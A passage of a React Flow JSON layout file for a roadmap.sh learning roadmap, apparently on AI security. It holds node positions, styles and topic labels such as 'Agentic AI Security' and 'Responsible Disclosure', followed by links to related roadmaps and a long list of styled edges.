\"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KAcCZ3zcv25R6HwzAsfUG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": { \"width\": 230, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 230, \"height\": 49 }\n    },\n    {\n      \"id\": \"FVsKivsJrIb82B0lpPmgw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -219.66916540260297, \"y\": 1484.828358913156 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Agentic AI Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KAcCZ3zcv25R6HwzAsfUG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": { \"width\": 230, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 230, \"height\": 49 }\n    },\n    {\n      \"id\": \"KAcCZ3zcv25R6HwzAsfUG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -219.66916540260297, \"y\": 1537.828358913156 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Responsible Disclosure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c8n8FcYKDOgPLQvV9xF5J\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": { \"width\": 230, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -227.16916540260297, \"y\": 13.436864496015943 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": { \"width\": 230, \"height\": 49 }\n    },\n    {\n      \"id\": \"kEUGGhl9GQU04yjihX1_h\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -228.16916540260297, \"y\": 1696.0256874499853 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Future Directions\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"rpvQMyWGn7_7NzWOjBJCd\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 247, \"height\": 50 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 247,\n      \"height\": 50,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"-G8v_CNa8wO_g-46_RFQo\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 171.94826997947376, \"y\": 1637.5256874499853 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Emerging Threats\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WePO66_4-gNcSdE00WKmw\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 228 },\n      \"measured\": { \"width\": 240, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 240,\n      \"height\": 53\n    },\n    {\n      \"id\": \"soC-kcem1ISbnCQMa6BIB\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 172.72664751020432, \"y\": 1694.5256874499853 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Advanced Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WePO66_4-gNcSdE00WKmw\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 228 },\n      \"measured\": { \"width\": 240, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 240,\n      \"height\": 53\n    },\n    {\n      \"id\": \"VmaIHVsCpq2um_0cA33V3\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 171.64628079512062, \"y\": 1751.5256874499853 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Research Opportunities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WePO66_4-gNcSdE00WKmw\"\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 228 },\n      \"measured\": { \"width\": 240, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 240,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"WePO66_4-gNcSdE00WKmw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 171.64628079512062, \"y\": 1804.5256874499853 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Industry Standards\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": { \"width\": 228 },\n      \"measured\": { \"width\": 240, \"height\": 53 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 240,\n      \"height\": 53\n    },\n    {\n      \"id\": \"9l6XW089CXuuYntRTtrj3\",\n      \"type\": \"linksgroup\",\n      \"position\": { \"x\": -612.9219566015802, \"y\": -81.63210941079888 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {},\n        \"links\": [\n          {\n            \"id\": \"Q101aKvyzsByYCy7jjz-_\",\n            \"label\": \"AI and Data Scientist Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/ai-data-scientist\"\n          },\n          {\n            \"id\": \"yfFf2uIv0a9FGMy0HQ0Io\",\n            \"label\": \"AI Engineer Roadmap\",\n            \"url\": \"https://roadmap.sh/ai-engineer\"\n          },\n          {\n            \"id\": \"0j6PkCmRAFfKI6FRWOj_R\",\n            \"label\": \"Data Analyst Roadmap\",\n            \"url\": \"https://roadmap.sh/data-analyst\"\n          },\n          {\n            \"id\": \"ltyjAYZrUyWHyxcV13B_X\",\n            \"label\": \"MLOps Roadmap\",\n            \"url\": \"https://roadmap.sh/mlops\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 322, \"height\": 157 },\n      \"dragging\": false,\n      \"width\": 322,\n      \"height\": 157,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qnWjt9HoNnyLacZ96z03g\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -115.16916540260297, \"y\": 1750.0256874499853 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 }\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 20, \"height\": 196 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 20,\n      \"height\": 196,\n      \"resizing\": false\n    },\n    {\n      \"width\": 572,\n      \"height\": 120,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -394.6039560484319, \"y\": 1896.4719928267566 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visit the following relevant tracks to keep learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": -151.0311490763803, \"y\": 2838.2842366925815 },\n      \"dragging\": false,\n      \"style\": { \"width\": 412, \"height\": 121 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 572, \"height\": 120 }\n    },\n    {\n      \"width\": 21,\n      \"height\": 85,\n      \"id\": \"xi0QAi4kXm3-IFKgopnOP\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -112.10395604843185, \"y\": 2017.4719928267564 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": 44.468850923619726, \"y\": 2959.2842366925815 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 21, \"height\": 85 },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 21, \"height\": 85 }\n    },\n    {\n      \"width\": 175,\n      \"height\": 49,\n      \"id\": \"-sFboM4eFUMVq1tlPl-fV\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -382.0708359378116, \"y\": 1956.4376436905484 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Engineer\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"qXKNK_IsGS8-JgLK-Q9oU\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -134.0311490763803, \"y\": 2895.0087874111223 },\n      \"style\": { \"width\": 378, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 175, \"height\": 49 }\n    },\n    {\n      \"width\": 209,\n      \"height\": 49,\n      \"id\": \"0CxO0xyfbyyRymDjXm3k2\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -197.66916540260297, \"y\": 1956.4376436905484 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI & Data Scientist\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"-sFboM4eFUMVq1tlPl-fV\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -134.0311490763803, \"y\": 2895.0087874111223 },\n      \"style\": { \"width\": 378, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 209, \"height\": 49 }\n    },\n    {\n      \"width\": 146,\n      \"height\": 49,\n      \"id\": \"bAA_NreUn1yOULk6GanqQ\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 18.83083459739703, \"y\": 1956.4376436905484 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Analyst\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"0CxO0xyfbyyRymDjXm3k2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -134.0311490763803, \"y\": 2895.0087874111223 },\n      \"style\": { \"width\": 378, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 146, \"height\": 49 }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HFJIYcI16OMyM77fAw9af\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1gyuEV519LjN-KpROoVwv\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-JDDG4KfhtIlw1rkNCzUliz2-gx4KaFqKgJX9n9_ZGMqlZy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"HFJIYcI16OMyM77fAw9af\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-nhUKKWyBH80nyKfGT8ErCw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HFJIYcI16OMyM77fAw9af\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"R9DQNc0AyAQ2HLpP4HOk6\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-nhUKKWyBH80nyKfGT8ErCz2-R9DQNc0AyAQ2HLpP4HOk6y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HFJIYcI16OMyM77fAw9af\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fNTb9y3zs1HPYclAmu_Wv\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-nhUKKWyBH80nyKfGT8ErCz2-fNTb9y3zs1HPYclAmu_Wvy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HFJIYcI16OMyM77fAw9af\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Irkc9DgBfqSn72WaJqXEt\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__nhUKKWyBH80nyKfGT8ErCz2-gx4KaFqKgJX9n9_ZGMqlZy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HFJIYcI16OMyM77fAw9af\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"EQrDljYCypm5zlzVmXane\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__HFJIYcI16OMyM77fAw9afx2-EQrDljYCypm5zlzVmXanew2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"EQrDljYCypm5zlzVmXane\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"USnljlWi_1nOvc-zViBh7\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__EQrDljYCypm5zlzVmXanex2-USnljlWi_1nOvc-zViBh7w1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"USnljlWi_1nOvc-zViBh7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NvOJIv36Utpm7_kOZyr79\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__USnljlWi_1nOvc-zViBh7y2-NvOJIv36Utpm7_kOZyr79z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"USnljlWi_1nOvc-zViBh7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ZC0yKsu-CJC-LZKKo2pLD\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__USnljlWi_1nOvc-zViBh7y2-ZC0yKsu-CJC-LZKKo2pLDz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"USnljlWi_1nOvc-zViBh7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Xqzc4mOKsVzwaUxLGjHya\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__USnljlWi_1nOvc-zViBh7y2-Xqzc4mOKsVzwaUxLGjHyaz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"USnljlWi_1nOvc-zViBh7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RuKzVhd1nZphCrlW1wZGL\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__USnljlWi_1nOvc-zViBh7y2-RuKzVhd1nZphCrlW1wZGLz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"USnljlWi_1nOvc-zViBh7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"3XJ-g0KvHP75U18mxCqgw\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__USnljlWi_1nOvc-zViBh7y2-3XJ-g0KvHP75U18mxCqgwz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"USnljlWi_1nOvc-zViBh7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8K-wCn2cLc7Vs_V4sC3sE\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__USnljlWi_1nOvc-zViBh7y2-8K-wCn2cLc7Vs_V4sC3sEz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"USnljlWi_1nOvc-zViBh7\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gx4KaFqKgJX9n9_ZGMqlZ\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__USnljlWi_1nOvc-zViBh7y2-gx4KaFqKgJX9n9_ZGMqlZz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wg_PryJK5Ucr8bZofa4z-\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"WZkIHZkV2qDYbYF9KBBRi\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__wg_PryJK5Ucr8bZofa4z-z2-WZkIHZkV2qDYbYF9KBBRiy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wg_PryJK5Ucr8bZofa4z-\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RDOaTBWP3aIJPUp_kcafm\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__wg_PryJK5Ucr8bZofa4z-z2-RDOaTBWP3aIJPUp_kcafmy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wg_PryJK5Ucr8bZofa4z-\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"MupRvk_8Io2Hn7yEvU663\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__wg_PryJK5Ucr8bZofa4z-z2-MupRvk_8Io2Hn7yEvU663y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wg_PryJK5Ucr8bZofa4z-\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"887lc3tWCRH-sOHSxWgWJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"xy-edge__wg_PryJK5Ucr8bZofa4z-z2-887lc3tWCRH-sOHSxWgWJy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"wg_PryJK5Ucr8bZofa4z-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"1Xr7mxVekeAHzTL7G4eAZ\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__wg_PryJK5Ucr8bZofa4z-x2-nhUKKWyBH80nyKfGT8ErCw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"1Xr7mxVekeAHzTL7G4eAZ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"uBXrri2bXVsNiM8fIHHOv\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__1Xr7mxVekeAHzTL7G4eAZx2-uBXrri2bXVsNiM8fIHHOvw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uBXrri2bXVsNiM8fIHHOv\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"YpDr02T3XuKdDFcA44B4F\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__uBXrri2bXVsNiM8fIHHOvx2-YpDr02T3XuKdDFcA44B4Fw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YpDr02T3XuKdDFcA44B4F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"vhBu5x8INTtqvx6vcYAhE\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__YpDr02T3XuKdDFcA44B4Fx2-vhBu5x8INTtqvx6vcYAhEw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vhBu5x8INTtqvx6vcYAhE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ptbK6pLZbvotCcoaVOlhm\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__vhBu5x8INTtqvx6vcYAhEz2-ptbK6pLZbvotCcoaVOlhmy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ptbK6pLZbvotCcoaVOlhm\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0bApnJTt-Z2IUf0X3OCYf\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__ptbK6pLZbvotCcoaVOlhmx2-0bApnJTt-Z2IUf0X3OCYfw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"65Lo60JQS5YlvvQ6KevXt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"zB-hhiDU8BPXoDZXlqPyW\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__65Lo60JQS5YlvvQ6KevXtx2-rpvQMyWGn7_7NzWOjBJCdw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zB-hhiDU8BPXoDZXlqPyW\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"c8n8FcYKDOgPLQvV9xF5J\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__rpvQMyWGn7_7NzWOjBJCdx2-c8n8FcYKDOgPLQvV9xF5Jw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zB-hhiDU8BPXoDZXlqPyW\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yraH8ID6eALCTPZnrjxH9\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"xy-edge__zB-hhiDU8BPXoDZXlqPyWy2-rpvQMyWGn7_7NzWOjBJCdz1\",\n      \"selected\": true,\n      \"selectable\": 